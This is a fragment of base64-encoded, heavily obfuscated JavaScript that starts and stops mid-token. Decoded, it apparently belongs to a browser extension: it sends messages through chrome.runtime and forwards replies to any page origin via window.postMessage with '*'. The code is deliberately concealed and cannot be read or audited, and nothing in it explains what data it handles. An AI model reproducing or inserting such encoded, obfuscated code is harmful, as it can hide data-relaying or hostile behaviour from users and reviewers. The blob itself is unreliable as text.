B4MjliN2JiKDB4NDdjLDB4NTY4LDB4NTc2LDB4NmFhLCc1dFFRJykrJ2QnXT1fMHgzNzMwMTVbXzB4NTAzYzhjXVsnaWQnXTtjb25zdCBfMHg0NDIzYmM9e307ZnVuY3Rpb24gXzB4MmI3YzgwKF8weDI0YjQzYyxfMHgxMGYwZGMsXzB4MTA5MDkyLF8weDU1NGFjZSxfMHg5MDFhODgpe3JldHVybiBfMHg0NWE2OGIoXzB4MjRiNDNjLTB4ODEsXzB4MTBmMGRjLTB4MWQ0LF8weDEwZjBkYy0gLTB4YzEsXzB4NTU0YWNlLTB4MTNhLF8weDEwOTA5Mik7fV8weDQ0MjNiY1tfMHgyYjdjODAoMHgxYzUsMHgyNDcsJyVXRFcnLDB4MjQ0LC0weDcwKV09XzB4YjY4MzY5W18weDI5YjdiYigweDk2MywweGFkNywweGM0MiwweGEwOCwnJmIjcicpXTtmdW5jdGlvbiBfMHgxOTBhNTkoXzB4NTUzODEyLF8weDIzZWZmZCxfMHg0YWYxY2EsXzB4NWEzM2U3LF8weDNkNTBlZil7cmV0dXJuIF8weDI5NWYwNChfMHg1NTM4MTIsXzB4NWEzM2U3LSAtMHgyN2MsXzB4NGFmMWNhLTB4MWMyLF8weDVhMzNlNy0weDE0MCxfMHgzZDUwZWYtMHgxNGMpO31fMHg0NDIzYmNbXzB4MTkwYTU5KCdzUFVlJywweDdkNSwweDRkMywweDU4YSwweDdmNildPV8weDE2YjRiOTtmdW5jdGlvbiBfMHgyOWI3YmIoXzB4MTEwMWU1LF8weDI5MzBjMyxfMHgyMDFkODIsXzB4MWUxYzQ3LF8weDEzMTk2OSl7cmV0dXJuIF8weDUwODcxOChfMHgxMTAxZTUtMHhjLF8weDFlMWM0Ny0weDdmLF8weDIwMWQ4Mi0weGJhLF8weDFlMWM0Ny0weDcsXzB4MTMxOTY5KTt9ZnVuY3Rpb24gXzB4M2I4YmNmKF8weGZkNjUzNSxfMHgyOTBjMmUsXzB4MjliMGU2LF8weDQyZmJhOCxfMHgxOWViMjYpe3JldHVybiBfMHg5MjM5MDgoXzB4ZmQ2NTM1LTB4MzcsXzB4MjkwYzJlLTB4YzgsXzB4MjkwYzJlLTB4OWUsXzB4NDJmYmE4LTB4OWEsXzB4ZmQ2NTM1KTt9XzB4NTZkNGYyW18weDI5YjdiYigweDcwOCwweDczMSwweDYwNywweDg3NSwnQiVobScpKydtZSddW18weDJiN2M4MCgweDI1MSwweDE0YywnNXRRUScsLTB4MTgwLDB4NjMpK18weDNiOGJjZignQyVIMicsMHg4NywweDE0LDB4MjJmLDB4ZGQpKydlJ10oXzB4NDQyM2JjKTt9O18weDRiMGQ4NltfMHg1MDg3MTgoMHg5MmUsMHg4ZDEsMHhhMzYsMHg2NzIsJ2dwUWgnKV0oXzB4MjZjNmE1KSxfMHg0YjBkODZbXzB4NDVhNjhiKDB4M2NhLDB4NDQ1LDB4MmI3LDB4MjE2LCcyR2pxJyldKF8weDM1NTZmZCwoKT0+e2Z1bmN0aW9uIF8weDUwZDFhNihfMHgzNDA0NDEsXzB4MzUyZGRjLF8weDI1NTZiMyxfMHg1MDM4MmYsXzB4NWE0OTdiKXtyZXR1cm4gXzB4NTA4NzE4KF8weDM0MDQ0MS0weGVmLF8weDM1MmRkYy0gLTB4MzllLF8weDI1NTZiMy0weDE0NCxfMHg1MDM4MmYtMHgyNyxfMHgzNDA0NDEpO31fMHg1ODUyYTdbXzB4NTBkMWE2KCdCYjQ3JywweDFmMSwweDI2OSwtMHhkMiwtMHhhZildKF8weDI2YzZhNSk7fSxfMHg0YjBkODZbXzB4NTA4NzE4KDB4NzllLDB4OGNhLDB4OTIzLDB4YTIxLCclV0RXJyldKC0weDNhZCotMHg3Ky0weDEqLTB4MWU0ZCstMHg4KjB4Njg0LF8weDM3MzAxNVtfMHg1MDNjOGNdW18weDE3MzRhNCgweDMyNywnMCQmSCcsMHgxNDIsMHgzZTUsMHg0MWEpK18weDI5NWYwNCgnTjgzMCcsMHg3ZjEsMHg4ODEsMHg5MzMsMHg2MmQpXSkpO30pO319KSxfMHgyNTI4NTZbXzB4NDNjZTg4KCdXVEp6JywweDEzOCwweDJhMSwtMHgyZiwweDUzNCldKF8weDI1Mjg1NltfMHhiM2U3NjIoMHg1ZDMsMHg0YjYsMHg1ZGYsMHgzYWQsJ0pNVionKV0sXzB4MjI5NGM0W18weDQzY2U4OCgnSk1WKicsLTB4MmM3LC0weDEyOSwweDE5MywtMHg1ZSldW18weDQzY2U4OCgnIXhkVycsMHgxNjYsMHgxNTcsMHgyMjIsMHgxMGEpXSkmJmNocm9tZVtfMHg0M2NlODgoJ0JiNDcnLDB4MmRhLDB4NSwweDFiLDB4NWQpKydtZSddW18weDVlMDA0YygweDNhOCwncno4UycsMHg1NzgsMHgxMzQsMHgxZmEpK18weDQzY2U4OCgneUtNMCcsLTB4MjUyLC0weDEwNCwtMHg3LDB4ODEpKydlJ10oeyd0ZXh0JzpfMHgyNTI4NTZbXzB4NDNjZTg4KCd3VnVhJywweDU0YiwweDM1YywweDE4ZCwweDI0ZildfSxmdW5jdGlvbihfMHgyMTM2Njkpe2Z1bmN0aW9uIF8weDNkNGJlMyhfMHg0YzcwODMsXzB4NGMwYTUyLF8weDVjNmQ0NyxfMHgzYjExNGMsXzB4MzUwOTFjKXtyZXR1cm4gXzB4YjNlNzYyKF8weDRjNzA4My0gLTB4MTQwLF8weDRjMGE1Mi0weDFhMCxfMHg1YzZkNDctMHg2NSxfMHgzYjExNGMtMHhjZixfMHgzYjExNGMpO31mdW5jdGlvbiBfMHgzMTEyYjAoXzB4MWUyN2RmLF8weDMzNDdkMCxfMHg1ZjRhNGQsXzB4NWM5NDFmLF8weDI4N2M0NSl7cmV0dXJuIF8weGIzZTc2MihfMHgxZTI3ZGYtIC0weDIyNCxfMHgzMzQ3ZDAtMHhjZCxfMHg1ZjRhNGQtMHhlYyxfMHg1Yzk0MWYtMHgxZGIsXzB4NWY0YTRkKTt9Y29uc3QgXzB4NmE3MGRlPXt9O2Z1bmN0aW9uIF8weDM4OWM5MChfMHgzMGYwNGUsXzB4NDliNDI0LF8weDZiYmZjNixfMHg0MDgwNzUsXzB4MmJiYjQxKXtyZXR1cm4gXzB4NWUwMDRjKF8weDQ5YjQyNC0weDNjZixfMHgzMGYwNGUsXzB4NmJiZmM2LTB4MWUsXzB4NDA4MDc1LTB4NjcsXzB4MmJiYjQxLTB4N2UpO31fMHg2YTcwZGVbXzB4M2Q0YmUzKDB4NGQ3LDB4NGE3LDB4MzczLCcwJCZIJywweDI1YyldPV8weDI1Mjg1NltfMHgzZDRiZTMoMHg0YzEsMHgyM2UsMHgyMzUsJ3ZbISgnLDB4MmEyKV07ZnVuY3Rpb24gXzB4NDAwMWJiKF8weDExNWY0YSxfMHg0NTU4YjAsXzB4MmU0M2EwLF8weDQxZTI3NixfMHg0MWFhNTApe3JldHVybiBfMHg0NmQxZDcoXzB4NDFhYTUwLTB4NTZjLF8weDExNWY0YSxfMHgyZTQzYTAtMHgyMSxfMHg0MWUyNzYtMHgxZjQsXzB4NDFhYTUwLTB4MWUpO31jb25zdCBfMHgxMjY0NWM9XzB4NmE3MGRlO2Z1bmN0aW9uIF8weDQ1OWRlNChfMHgyYjZmMzYsXzB4MjMxMDg4LF8weDQxZDg5NCxfMHgzOTJhZWYsXzB4N2I0ODZjKXtyZXR1cm4gXzB4NDZkMWQ3KF8weDIzMTA4OC0gLTB4NDAsXzB4NDFkODk0LF8weDQxZDg5NC0weDFkZixfMHgzOTJhZWYtMHgyZCxfMHg3YjQ4NmMtMHgxMGYpO31pZihfMHgyNTI4NTZbXzB4M2Q0YmUzKDB4NDU3LDB4MzFmLDB4MzY2LCdoOW9VJywweDY4OSldKF8weDI1Mjg1NltfMHg0NTlkZTQoLTB4Y2IsMHgxLCcjIVZPJywweDE5NywtMHgxNDcpXSxfMHgyNTI4NTZbXzB4M2Q0YmUzKDB4NTE4LDB4NGQwLDB4Mjk2LCdmZyp2JywweDRjMildKSl7Y29uc3QgXzB4MzJjYmNhPXt9O18weDMyY2JjYVtfMHgzZDRiZTMoMHg2MDQsMHg1NzAsMHg2OTcsJyZiI3InLDB4NjQ5KV09XzB4MjUyODU2W18weDQwMDFiYignIyFWTycsMHg4YWMsMHhiZTMsMHg5MWYsMHg5MjIpXSxfMHgzMmNiY2FbXzB4Mzg5YzkwKCd3Tl1PJywweDkwMSwweGIzOCwweGI2NSwweDZmOSldPV8weDIxMzY2OSx3aW5kb3dbXzB4Mzg5YzkwKCd3VnVhJywweDYxYiwweDU4OSwweDdlNCwweDYyZSkrXzB4MzExMmIwKDB4MzdhLDB4MWI4LCdpUWhWJywweDM1YywweDFlMikrJ2UnXShfMHgzMmNiY2EsJyonKTt9ZWxzZXtjb25zdCBfMHg0MDk1OGI9e307XzB4NDA5NThiW18weDQ1OWRlNCgweDVkLC0weGYxLCd3Tl1PJywtMHgxNjgsMHhmMSldPV8weDEyNjQ1Y1tfMHgzMTEyYjAoMHg2NjAsMHg4NjYsJ15rd14nLDB4NTlmLDB4NjI3KV0sXzB4NDA5NThiW18weDQ1OWRlNCgweDEzMywtMHg0ZSwneUNJeicsLTB4MTVjLC0weDJkKV09XzB4NGQwODYyLF8weDM5NDI1ZltfMHgzMTEyYjAoMHg2YTgsMHg1ODAsJ2tkcEMnLDB4NGIyLDB4OGU4KStfMHg0NTlkZTQoMHgxNjksLTB4MTBiLCd5S00wJywtMHgzZiwtMHgyN2QpKydlJ10oXzB4NDA5NThiLCcqJyk7fX0pLF8weDI1Mjg1NltfMHgzODk2MWIoMHg2NWMsMHg4MWYsMHg3YzcsMHg4MDYsJ2g5b1UnKV0oXzB4MjUyODU2W18weDVlMDA0YygweDMyNiwnIyFWTycsMHg1MTAsMHgxNTgsMHhlOSldLF8weDIyOTRjNFtfMHg1ZTAwNGMoMHgzMTcsJ1BdKncnLDB4Y2YsMHgzZjIsMHg1ZWQpXVtfMHhiM2U3NjIoMHg0YjksMHg2NGQsMHg1OGYsMHg0NjUsJ0MlSDInKV0pJiZjaHJvbWVbXzB4YjNlNzYyKDB4OGI2LDB4ODk3LDB4OWJiLDB4ODI1LCckSnI0JykrJ21lJ11bXzB4NWUwMDRjKDB4MTM0LCdoOW9VJywtMHg1NCwtMHhlMiwweDFiMykrXzB4NDNjZTg4KCdoOW9VJywweGI4LC0weDE0MCwweGE2LC0weDI5ZCkrJ2UnXSh7J3RleHQnOl8weDI1Mjg1NltfMHhiM2U3NjIoMHg5NGIsMHg4NzAsMHhiNjAsMHhiNzgsJ1lLY1gnKV19LGZ1bmN0aW9uKF8weDQ5NDYyZil7ZnVuY3Rpb24gXzB4NTRkMmZmKF8weDk4OTRlYixfMHhhMTQyMWYsXzB4ZDBjYWM0LF8weDRjYzhkYixfMHgzMDAyM2Upe3JldHVybiBfMHg0NmQxZDcoXzB4OTg5NGViLTB4Mjg4LF8weDMwMDIzZSxfMHhkMGNhYzQtMHhjMixfMHg0Y2M4ZGItMHhjYSxfMHgzMDAyM2UtMHgxMmEpO31mdW5jdGlvbiBfMHg1ZGU4NjgoXzB4MTA3MDE0LF8weDFlZTk1ZixfMHgyYTYxMjMsXzB4Mzk1Nzg1LF8weDEwNTg4Nyl7cmV0dXJuIF8weGIzZTc2MihfMHgyYTYxMjMtIC0weDFjNixfMHgxZWU5NWYtMHhhMCxfMHgyYTYxMjMtMHgxOWMsXzB4Mzk1Nzg1LTB4MzcsXzB4Mzk1Nzg1KTt9ZnVuY3Rpb24gXzB4MzFiNTI3KF8weDMxYmMyNSxfMHgyZDMwNzcsXzB4NTIyNTRjLF8weDIzMzk2MyxfMHg1MTg3MTgpe3JldHVybiBfMHhiM2U3NjIoXzB4NTIyNTRjLSAtMHg0N2YsXzB4MmQzMDc3LTB4MTg2LF8weDUyMjU0Yy0weDk3LF8weDIzMzk2My0weDMyLF8weDUxODcxOCk7fWZ1bmN0aW9uIF8weDE0NjUxYihfMHgxNzBhMjEsXzB4NWNhOGVhLF8weDM2MjY1YyxfMHg1MjBhZDIsXzB4MTcyOWI3KXtyZXR1cm4gXzB4NDNjZTg4KF8weDE3MGEyMSxfMHg1Y2E4ZWEtMHhmMCxfMHg1Y2E4ZWEtMHg1Y2EsXzB4NTIwYWQyLTB4MWM5LF8weDE3MjliNy0weGNhKTt9ZnVuY3Rpb24gXzB4YzcyYTU1KF8weDFkZTYzYixfMHgxYjFmYWIsXzB4YThkOWIxLF8weDExOGVmYixfMHg0N2Y0MTIpe3JldHVybiBfMHg0NmQxZDcoXzB4NDdmNDEyLTB4Mzc4LF8weDFkZTYzYixfMHhhOGQ5YjEtMHhkNCxfMHgxMThlZmItMHg2YyxfMHg0N2Y0MTItMHg3OCk7fWNvbnN0IF8weDRlYTMwMT17J2hLUkpoJzpmdW5jdGlvbihfMHgyYTFjYTEsXzB4MzRhNTZmKXtmdW5jdGlvbiBfMHg0NmQyNGQoXzB4NTJlY2ExLF8weDE0MTM1YixfMHgxN2Y2Y2UsXzB4MjE3ZDVjLF8weDdhNjFlKXtyZXR1cm4gXzB4OGEzYihfMHg1MmVjYTEtMHgzZTMsXzB4N2E2MWUpO31yZXR1cm4gXzB4MjUyODU2W18weDQ2ZDI0ZCgweDViZCwweDVkNCwweDZlZSwweDY1NCwncno4UycpXShfMHgyYTFjYTEsXzB4MzRhNTZmKTt9LCdmQ3laQyc6XzB4MjUyODU2W18weDE0NjUxYignJVdEVycsMHg4ZjcsMHhhNzIsMHhhMzcsMHhiNjMpXSwnYkx1aUQnOmZ1bmN0aW9uKF8weDUxOTQ1ZSxfMHgyYTEyNjIpe2Z1bmN0aW9uIF8weDJmY2Q2OShfMHgyMDAzYTYsXzB4NDhmOWJhLF8weDUzZDg2YyxfMHgyODViZmMsXzB4NGFjYzUwKXtyZXR1cm4gXzB4MTQ2NTFiKF8weDRhY2M1MCxfMHg1M2Q4NmMtIC0weDM1NixfMHg1M2Q4NmMtMHgxNzAsXzB4Mjg1YmZjLTB4MTc4LF8weDRhY2M1MC0weDE3Mik7fXJldHVybiBfMHgyNTI4NTZbXzB4MmZjZDY5KDB4MWUyLDB4MzNjLDB4MzllLDB4MzFmLCdKTVYqJyldKF8weDUxOTQ1ZSxfMHgyYTEyNjIpO30sJ0FPTFpWJzpfMHgyNTI4NTZbXzB4MTQ2NTFiKCcwJCZIJywweDhkYiwweDhiNCwweGFlYiwweDk1YildLCdyRnRBdSc6ZnVuY3Rpb24oXzB4OWQ5OTg2LF8weDQ4Mjc1Nyl7ZnVuY3Rpb24gXzB4NDUwZGYzKF8weDNhYzkyOCxfMHg1M2Q4NWMsXzB4MTlkMjg5LF8weDIwZmNmNixfMHgxZmY0NGUpe3JldHVybiBfMHgxNDY1MWIoXzB4MTlkMjg5LF8weDIwZmNmNi0gLTB4ZTgsXzB4MTlkMjg5LTB4NzYsXzB4MjBmY2Y2LTB4NjcsXzB4MWZmNDRlLTB4YjgpO31yZXR1cm4gXzB4MjUyODU2W18weDQ1MGRmMygweDQyOSwweDZlYywnTjgzMCcsMHg3MDEsMHg5ZDkpXShfMHg5ZDk5ODYsXzB4NDgyNzU3KTt9LCd5SlFjZic6ZnVuY3Rpb24oXzB4Yjg1NjllLF8weDQ2MTgxNSl7ZnVuY3Rpb24gXzB4M2MxMWRlKF8weDEzNzRhNixfMHgzMjY5NWEsXzB4MTQ1NTNiLF8weDJhODExZCxfMHgxZDNlMzYpe3JldHVybiBfMHgzMWI1MjcoXzB4MTM3NGE2LTB4MTlkLF8weDMyNjk1YS0weDQsXzB4MTM3NGE2LTB4MmU3LF8weDJhODExZC0weDM4LF8weDJhODExZCk7fXJldHVybiBfMHgyNTI4NTZbXzB4M2MxMWRlKDB4NmIzLDB4N2MzLDB4OGRmLCdsU29aJywweDcwZSldKF8weGI4NTY5ZSxfMHg0NjE4MTUpO30sJ3VSemhUJzpmdW5jdGlvbihfMHgzNjVjOWQsXzB4MmQ4YmVhKXtmdW5jdGlvbiBfMHg0NzFiYmMoXzB4NWQxNzIzLF8weDQ3NTRiMyxfMHgxODJhYjAsXzB4ODRhM2UzLF8weDVlNDcxYil7cmV0dXJuIF8weDMxYjUyNyhfMHg1ZDE3MjMtMHgxZjAsXzB4NDc1NGIzLTB4ZGIsXzB4NDc1NGIzLTB4MjIwLF8weDg0YTNlMy0weGJmLF8weDVkMTcyMyk7fXJldHVybiBfMHgyNTI4NTZbXzB4NDcxYmJjKCdQSTNiJywweDQzNCwweDYyMSwweDIyNywweDFlNSldKF8weDM2NWM5ZCxfMHgyZDhiZWEpO30sJ3hZQnhEJzpfMHgyNTI4NTZbXzB4MTQ2NTFiKCdmdDlWJywweDZjZiwweDg4NCwweDczMiwweDYyZildLCdHYWpSZCc6ZnVuY3Rpb24oXzB4NGRhNmE2LF8weDY4M2E5Mil7ZnVuY3Rpb24gXzB4MTMwY2E5KF8weDMwNmYwYSxfMHg0MDNmNTQsXzB4MTA0MzgzLF8weDQ3OWJlNyxfMHgxYjA0NjEpe3JldHVybiBfMHgzMWI1MjcoXzB4MzA2ZjBhLTB4NDIsXzB4NDAzZjU0LTB4ODIsXzB4NDc5YmU3LTB4NDQsXzB4NDc5YmU3LTB4NjcsXzB4MzA2ZjBhKTt9cmV0dXJuIF8weDI1Mjg1NltfMHgxMzBjYTkoJ3J6OFMnLDB4MzgxLDB4NjJkLDB4NTA5LDB4NGYyKV0oXzB4NGRhNmE2LF8weDY4M2E5Mik7fSwnQ0t4VW8nOmZ1bmN0aW9uKF8weDQ5YTFkMyxfMHgyYThkOGUpe2Z1bmN0aW9uIF8weDJjNDQyOChfMHg1MmQ2NTMsXzB4NDdhYThhLF8weDQxNTRjNyxfMHgyYjQxNmYsXzB4NDA1MWIwKXtyZXR1cm4gXzB4NWRlODY4KF8weDUyZDY1My0weDE5OCxfMHg0N2FhOGEtMHhiYyxfMHg0MTU0YzctIC0weDVjLF8weDQwNTFiMCxfMHg0MDUxYjAtMHhiMCk7fXJldHVybiBfMHgyNTI4NTZbXzB4MmM0NDI4KDB4NmZiLDB4NWY5LDB4NjlhLDB4M2MyLCc1dFFRJyldKF8weDQ5YTFkMyxfMHgyYThkOGUpO30sJ09nSVpmJzpfMHgyNTI4NTZbXzB4NWRlODY4KDB4M2RiLDB4MjFkLDB4NDAwLCdoOW9VJywweDVjOCldfTtpZihfMHgyNTI4NTZbXzB4YzcyYTU1KCdzRWFDJywweDM0YSwweDRhMCwweDQwNiwweDNlOCldKF8weDI1Mjg1NltfMHgzMWI1MjcoMHg0NmQsMHgyNTAsMHgyYjYsMHgxNDksJyE2W0MnKV0sXzB4MjUyODU2W18weGM3MmE1NSgnIXhkVycsMHg3OTYsMHg3YTAsMHg0ZTQsMHg2NTQpXSkpe2NvbnN0IF8weDE0MGNmOD17J3Z6TGVXJzpmdW5jdGlvbihfMHhhYjBlZmQsXzB4MTFmNWJlKXtmdW5jdGlvbiBfMHg0Njg5NjcoXzB4NGY5YjdhLF8weDEwZmMzZSxfMHgzNjAyNmMsXzB4NTg2NzIxLF8weDJiMjJjMyl7cmV0dXJuIF8weDVkZTg2OChfMHg0ZjliN2EtMHgxYjcsXzB4MTBmYzNlLTB4NTksXzB4NGY5YjdhLSAtMHgxNCxfMHgzNjAyNmMsXzB4MmIyMmMzLTB4YzUpO31yZXR1cm4gXzB4NGVhMzAxW18weDQ2ODk2NygweDQ2NSwweDNmYiwnSk1WKicsMHg1ZDEsMHg2YzcpXShfMHhhYjBlZmQsXzB4MTFmNWJlKTt9LCdETGtRdic6XzB4NGVhMzAxW18weDE0NjUxYignV1RKeicsMHg1YTksMHg2NTYsMHg3ZTAsMHgzYzEpXSwnRWNTelMnOmZ1bmN0aW9uKF8weDRiOWYyMCxfMHg0ZTczODIpe2Z1bmN0aW9uIF8weDQ4MTc0NShfMHgxNjE2MmMsXzB4NGJmMTcxLF8weDM1MDZjNSxfMHgzMGQ1NzAsXzB4NTZiNTRiKXtyZXR1cm4gXzB4MTQ2NTFiKF8weDM1MDZjNSxfMHgxNjE2MmMtMHg4MCxfMHgzNTA2YzUtMHhkZixfMHgzMGQ1NzAtMHg3YSxfMHg1NmI1NGItMHgzMik7fXJldHVybiBfMHg0ZWEzMDFbXzB4NDgxNzQ1KDB4NzRhLDB4NmVjLCclV0RXJywweDhmYywweDk1YyldKF8weDRiOWYyMCxfMHg0ZTczODIpO30sJ0doWVVTJzpmdW5jdGlvbihfMHgyNTIyZmYsXzB4NTZhM2M1KXtmdW5jdGlvbiBfMHgxYjcyNTcoXzB4NTFiOTk5LF8weDVkNjdhOCxfMHgyYmY5YjMsXzB4NTQzMmQxLF8weDQwMzhiMyl7cmV0dXJuIF8weDMxYjUyNyhfMHg1MWI5OTktMHhhNixfMHg1ZDY3YTgtMHgxYzAsXzB4NDAzOGIzLSAtMHhjNCxfMHg1NDMyZDEtMHhkOSxfMHg1MWI5OTkpO31yZXR1cm4gXzB4NGVhMzAxW18weDFiNzI1Nygna2RwQycsMHgyYTAsLTB4MTRkLDB4NywweDE1NSldKF8weDI1MjJmZixfMHg1NmEzYzUpO30sJ0RobWJTJzpfMHg0ZWEzMDFbXzB4NTRkMmZmKDB4NjIxLDB4NGM1LDB4ODJhLDB4NWI0LCdrZHBDJyldLCduTGdBQic6ZnVuY3Rpb24oXzB4NDJmYmYzLF8weDlhMjkwNSl7ZnVuY3Rpb24gXzB4NWJlMDQxKF8weDMwOWUzOCxfMHgxNDA2MjksXzB4M2RlYmEyLF8weDJiYzFjOCxfMHgzZmZkNTUpe3JldHVybiBfMHgzMWI1MjcoXzB4MzA5ZTM4LTB4ZjgsXzB4MTQwNjI5LTB4MTlmLF8weDNmZmQ1NS0gLTB4MTg5LF8weDJiYzFjOC0weGQ2LF8weDJiYzFjOCk7fXJldHVybiBfMHg0ZWEzMDFbXzB4NWJlMDQxKDB4MTNkLDB4MmE2LDB4NTlmLCclV0RXJywweDMyMildKF8weDQyZmJmMyxfMHg5YTI5MDUpO30sJ2NjSmx1JzpmdW5jdGlvbihfMHgzZjU2MzMsXzB4MThkOTYwKXtmdW5jdGlvbiBfMHg4YjRmZDcoXzB4MmMxNTgzLF8weDJlNWMwYSxfMHg0ZDAxYjEsXzB4MjNhYzQxLF8weGY1MmFiYil7cmV0dXJuIF8weDVkZTg2OChfMHgyYzE1ODMtMHgzYSxfMHgyZTVjMGEtMHgxMixfMHhmNTJhYmItMHhkNCxfMHgyZTVjMGEsXzB4ZjUyYWJiLTB4MTlkKTt9cmV0dXJuIF8weDRlYTMwMVtfMHg4YjRmZDcoMHg5NmMsJ2lXRGcnLDB4OGNmLDB4NzM0LDB4NzEyKV0oXzB4M2Y1NjMzLF8weDE4ZDk2MCk7fSwnUkZnZVonOmZ1bmN0aW9uKF8weDM3ZTJhYyxfMHgzMTM5MjQpe2Z1bmN0aW9uIF8weDE5OTM1NShfMHhlZGJkYzEsXzB4MmEzYWIxLF8weDUyMDk4NSxfMHgzYmIzMDYsXzB4NTcxYjMwKXtyZXR1cm4gXzB4MzFiNTI3KF8weGVkYmRjMS0weDhlLF8weDJhM2FiMS0weDE0MSxfMHg1MjA5ODUtMHg1YzUsXzB4M2JiMzA2LTB4MTEsXzB4MmEzYWIxKTt9cmV0dXJuIF8weDRlYTMwMVtfMHgxOTkzNTUoMHg5NTUsJ1BdKncnLDB4NzI5LDB4OTY0LDB4OWNiKV0oXzB4MzdlMmFjLF8weDMxMzkyNCk7fSwnc2NhWEgnOmZ1bmN0aW9uKF8weDE3OTY1MSxfMHg0ZTlkOGYpe2Z1bmN0aW9uIF8weDJiZDYwNihfMHgzNDg5ZjAsXzB4NDRkMjUwLF8weDM1M2M4YSxfMHg4ZjA4NDAsXzB4MWQ0ZGQzKXtyZXR1cm4gXzB4NWRlODY4KF8weDM0ODlmMC0weDE5NSxfMHg0NGQyNTAtMHgxYTksXzB4NDRkMjUwLTB4YTQsXzB4MWQ0ZGQzLF8weDFkNGRkMy0weDdiKTt9cmV0dXJuIF8weDRlYTMwMVtfMHgyYmQ2MDYoMHg0ZGUsMHg1MzEsMHg3NmUsMHg1NmUsJ1dOJFgnKV0oXzB4MTc5NjUxLF8weDRlOWQ4Zik7fSwncVhLUk4nOl8weDRlYTMwMVtfMHg1NGQyZmYoMHg2OWYsMHg0ZDgsMHg4NmIsMHg4MDQsJ2lXRGcnKV19O18weDRlYTMwMVtfMHgzMWI1MjcoMHg2MWIsMHg1MGUsMHg1MDcsMHgzNjAsJ3dOXU8nKV0oLSgtMHgxOWNhKy0weDFmMyotMHg5KzB4ODQwKSxfMHg0ZTJiNGJbXzB4MTQ2NTFiKCdmZyp2JywweDc0MiwweDdjYSwweDRhYywweDRkYikrXzB4NWRlODY4KDB4MjRiLDB4MzQwLDB4MzRmLCd5S00wJywweDViMSldW18weDU0ZDJmZigweDYyYSwweDY0MywweDNkZCwweDY0ZCwnU29xWCcpK18weGM3MmE1NSgnV2xjVCcsMHgyMmMsMHg1OGIsMHgxNTAsMHg0MWIpKydrcyddW18weDE0NjUxYignMkdqcScsMHg2YmEsMHg4Y2YsMHg1ZDMsMHg1ZjEpK18weDVkZTg2OCgweDhiOCwweDQwMywweDZhNywnV1RKeicsMHg3ODgpXShfMHgyNmU5NWI9PjB4MSoweDEyNzQrLTB4MTZlYisweDdmKjB4OSE9PV8weDI2ZTk1YltfMHgxNDY1MWIoJ0MlSDInLDB4OWI1LDB4YTliLDB4NzE0LDB4YjExKSsnaCddJiZfMHgzZDY4NTlbXzB4NWRlODY4KDB4NDAwLDB4NTY2LDB4NWRhLCcwJCZIJywweDQzMCkrXzB4NWRlODY4KDB4NTUxLDB4NmJhLDB4NTZjLCdTb3FYJywweDQzNildW18weDU0ZDJmZigweDVhYywweDNkMCwweDVjNywweDgyNywnd1Z1YScpXVtfMHgxNDY1MWIoJ2Z0OVYnLDB4OWRjLDB4N2JiLDB4Yzc3LDB4OGY1KSsnT2YnXShfMHgyNmU5NWIpPi0oLTB4MWE5NisweDE5M2QrLTB4MTVhKi0weDEpKSkmJl8weDRlYTMwMVtfMHhjNzJhNTUoJ3ZbISgnLDB4MWY1LDB4MzVkLDB4M2Y0LDB4M2MwKV0oXzB4MmIxZDhhLF8weDRlYTMwMVtfMHgzMWI1MjcoLTB4ZTAsMHg3MiwweDNiLDB4ZTIsJyF4ZFcnKV0pW18weDMxYjUyNygweDI0MSwweDVmOSwweDM5ZCwweDNmYiwna0dObCcpKydlJ10oZnVuY3Rpb24oXzB4MTVkZjUwKXtmdW5jdGlvbiBfMHgzNWZjMmIoXzB4MmZlODJjLF8weDEzOTRjMixfMHgxYWJmYzIsXzB4MzhlMjMxLF8weDFjOTlkOCl7cmV0dXJuIF8weDVkZTg2OChfMHgyZmU4MmMtMHgxNjUsXzB4MTM5NGMyLTB4MzUsXzB4MmZlODJjLSAtMHgzZjksXzB4MzhlMjMxLF8weDFjOTlkOC0weDQpO31jb25zdCBfMHgzZWEwNjA9XzB4MTQwY2Y4W18weDhkODNmMygneUNJeicsMHgyMGQsMHg0YzMsMHgzYjcsMHhlOSldKF8weDU2NGVkYSxfMHgxNWRmNTBbXzB4OGQ4M2YzKCd2WyEoJywweDI5MSwweGZkLDB4MmUxLDB4MzhiKStfMHgxZWIwYzAoMHg0MywweGNkLDB4NjAsJ3dWdWEnLDB4MmIxKStfMHg4ZDgzZjMoJyEjcnYnLDB4NzAsLTB4ZDcsLTB4YmEsMHgzMTIpXSk7bGV0IF8weDJlNDA4Nj1fMHgzZWEwNjBbXzB4MzVmYzJiKC0weDEzZCwtMHgzYjIsLTB4Mjg5LCdpSih1JywtMHgyZmQpXShfMHgxNDBjZjhbXzB4OGQ4M2YzKCdCYjQ3JywtMHgyZSwtMHgxNmUsLTB4MjYyLC0weDIzMyldKSxfMHg0MmExOTQ9XzB4M2VhMDYwW18weDFhMTlmZCgweDIxNSwweDIwZSwweDQyNCwnaUoodScsMHgyMzgpXSgpO2lmKF8weDE0MGNmOFtfMHgzNWZjMmIoMHgyMzMsMHg0ZjcsMHhmNywna0dObCcsMHg0ZDIpXSh2b2lkKC0weDE2ZWYrMHgzNSoweDlkKy0weGEqMHhmNSksXzB4MmU0MDg2KSYmXzB4MmU0MDg2W18weDFhMTlmZCgweDVmLDB4Y2MsMHgxNmEsJ2ZnKnYnLDB4MmZkKSsnaCddfHwoXzB4MmU0MDg2PV8weDNlYTA2MFtfMHg4ZDgzZjMoJ0MlSDInLDB4MTk4LDB4ZWEsMHg4ZCwweGU4KV0oJ2lkJykpLF8weDE0MGNmOFtfMHgxZWIwYzAoMHgzODIsMHgzOTYsMHg1YzksJ1BdKncnLDB4MzU3KV0odm9pZCgweDFjYjErMHgxKi0weDIxZjkrMHgxNTIqMHg0KSxfMHgyZTQwODYpJiZfMHgyZTQwODZbXzB4NTZhYjc3KDB4NTVjLDB4M2UyLDB4NjUwLDB4NWQ3LCdzd2FIJykrJ2gnXXx8KF8weDJlNDA4Nj1fMHgzZWEwNjBbXzB4MWViMGMwKDB4MmFkLDB4NTIyLDB4MjYwLCcheGRXJywweDM4ZildKF8weDE0MGNmOFtfMHgxYTE5ZmQoMHg1MmIsMHg2MzAsMHgzOGEsJ2tHTmwnLDB4MzhjKV0pKSxfMHgxNDBjZjhbXzB4MWViMGMwKDB4MTBjLDB4MmUzLDB4ZjcsJ3N3YUgnLDB4M2U4KV0odm9pZCgtMHgxMmQxKy0weDE1NjArLTB4MSotMHgyODMxKSxfMHgyZTQwODYpfHwhXzB4MmU0MDg2W18weDFhMTlmZCgweDY2MiwweDNmYSwweDViMSwnaDlvVScsMHg0MTcpKydoJ10pcmV0dXJuO2Z1bmN0aW9uIF8weDFhMTlmZChfMHgzMzIxMDAsXzB4MzNkN